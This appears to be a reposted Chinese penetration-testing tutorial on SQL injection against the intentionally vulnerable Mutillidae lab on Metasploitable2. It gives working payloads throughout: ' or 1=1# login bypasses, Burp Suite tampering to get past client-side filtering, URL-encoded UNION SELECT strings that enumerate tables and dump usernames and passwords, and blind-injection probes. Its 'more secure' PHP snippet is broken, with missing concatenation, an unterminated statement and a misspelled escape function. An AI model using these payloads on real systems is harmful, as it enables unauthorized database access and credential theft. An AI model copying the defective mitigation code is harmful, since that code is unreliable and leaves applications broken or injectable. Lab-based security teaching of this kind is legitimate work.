微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

渗透测试之SQL注入(下篇)

一、数据库基础知识

  1.什么是sql?

  1)大多数网站使用数据库存储数据

  2)数据库database(DB)存储了用户名,密码等重要数据

  3)网站应用程序读取,更新和插入数据到数据库

  4)和数据库进行交互就是sql,使用sql语句/注入语句。

  MysqL是其中一种常用的数据库

  我们部署的Metasploitable2

  

 

 

       MysqL -u 用户名 -h 目标地址     连接上数据库

  2.MysqL 基础语法

    1) 显示所有数据库

    show databases

    

 

 

    2)使用数据库

 

    use 数据库名;

 

    

 

 

    3)显示数据库的所有表

    show tables;

 

    

 

 

         4)选择accounts表的所有内容   *表示所有

    select * from accounts;    

 

 

        

 

 

 

   3.为什么sql注入很危险?

  1)它们比较常见。

  2)它们通过数据库获得敏感数据。

  3)可以被使用去读取WWW root外部的本地文件

  4)可以被使用作为管理员登入并进一步利用系统。

  5)被用作文件上传

================================================

 4.在POST中发现sql注入。

  1)使用'and', 'order by', 或者" ' "破环正常页面

  2)测试文本框或参数时

  比如PHP页面 http://host/page.PHP?something=something

  举个栗子:打开Mutillidae 点击登入/注册页面,先随便注册一个账号:szs 密码:123456

  

 

 

   ps:如果注册用户失败,说Metasploit数据库不存在,那么就在Metasploitables中改下数据库

  

 

  改为:dbname='owasp10',刷新页面重新注册就ok了。

 

   

 

  

 

 

    正常访问界面:输入szs   123456 登入成功。

    

 

 

 

      sql语句 select * from where username='szs' and password='$Password'

      正常情况输入123456就登入了,如果存在sql注入漏洞,我们就可以 输入123456’ and 1=1# 单引号闭合前面的语句 # 注释掉后面的所有语句

     sql语句就被构造成select * from where username='szs' and password='123456' and 1=1#' 

      

  发现正常登入。

 

 

      而输入123456'and 1=2#则会报错。

     

      说明构造命令被执行,存在sql注入漏洞。

 

==========================================================================================

  

5.使用sql注入绕过登录

  使用用户名: admin  密码:1' or 1=1#     or表示一真即真,1=1显然是true。所以可以绕过密码。

 

 

 

 

 

 

 发现不需要输入密码就登入了管理员账号。

甚至我们可以连账号都不用输,直接在账号输入:     ’or 1=1#            密码随便因为后面都是无效语句被注释掉了。

  

 

 

 

 ====================================================================================================

 

   6.使用sql注入绕过更安全的登录

  上述讲到的例子是输入框完全没做安全防护的情况,现在我们将安全等级提高,比如输入使用过滤器,过滤特殊字符,该怎么绕过?

  这时我们可以使用Burpsuite开启代理获得http数据,这时的数据已经通过了过滤器,所以我们只需要通过bp对Http包修改,转发就行了。打开bp ,开启代理,抓取Http包

 

 

 

 

 发现抓到了包,并且输入的密码是123,显然密码是错误的,现在已经通过了过滤器,我们可以将值修改为 123‘or 1=1#绕过登入。

 

 

 

 

 

 然后转发,查看浏览器,成功登入。

 

因为过滤是通过页面上执行的javascript代码在客户端进行的,我们抓取的包是在链路当中。

 

 

===================================================================================

  7.防止在登入页面中进行sql注入-安全性。

  

<?PHP
  // case1:不安全的代码   $query = "SELECT * FROM accounts WHERE username='".$username
        "'AND password='".$password,
  // case2:更安全的代码
  $query = "SELECT * FROM accounts WHERE username='".
  $conn->rela_escape_string($username).
  "' AND password='"
  $conn->real_escape_string($password)."'";
?>

 

 

 

 ====================================================================================

   8.在GET中发现sql注入。

  选择Owasp Top10 -->A1injection -->sqli extact data -->user info

  创建一个用户szs  密码 123456

  

 

 

 登录

相当于执行了:Select * from accounts where username = '$USERNAME' and password='$PASSWORD'

 

url中使用GET方法,我们可以看到url存在username=   password=字样

http://192.168.164.129/mutillidae/index.PHP?page=user-info.PHP&username=szs&password=123456&user-info-PHP-submit-button=View+Account+Details

我们可以构造payload如下:

http://192.168.164.129/mutillidae/index.PHP?page=user-info.PHP&username=szs&password='or 1=1--+&user-info-PHP-submit-button=View+Account+Details

 

 

 发现爆出所有用户名密码。 

1)判断注入点后

2)order by  或者 union select 1,2,3....判断有多少列。

 

 

 

 

 

3)读取数据库信息

 

 

 4)查找数据表

username=%27union%20select%201,table_name,null,null,5%20from%20information_schema.tables%20where%20table_schema=%27owasp10%27%23

 

 

 

 

 

5)查找表的列名 %27-- '      %20--空格    %23-- #

username=%27union%20select%201,column_name,null,null,5%20from%20information_schema.columns%20where%20table_name=%27accounts%27%23

 

 

 

 6)爆出数据,用户名和密码

username=%27union%20select%201,username,password,is_admin,5 from accounts%20

 

 

 

 =======================================================================================================

  9.发现和利用盲sql注入。

  '1 and 1=1#

  '1 and 1=2#  

  通过回显信息,判断是否是sql注入点.

 

 

 

 

 

 

 

 

 

 

 

 

http://192.168.164.129/mutillidae/index.PHP?page=user-info.PHP

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐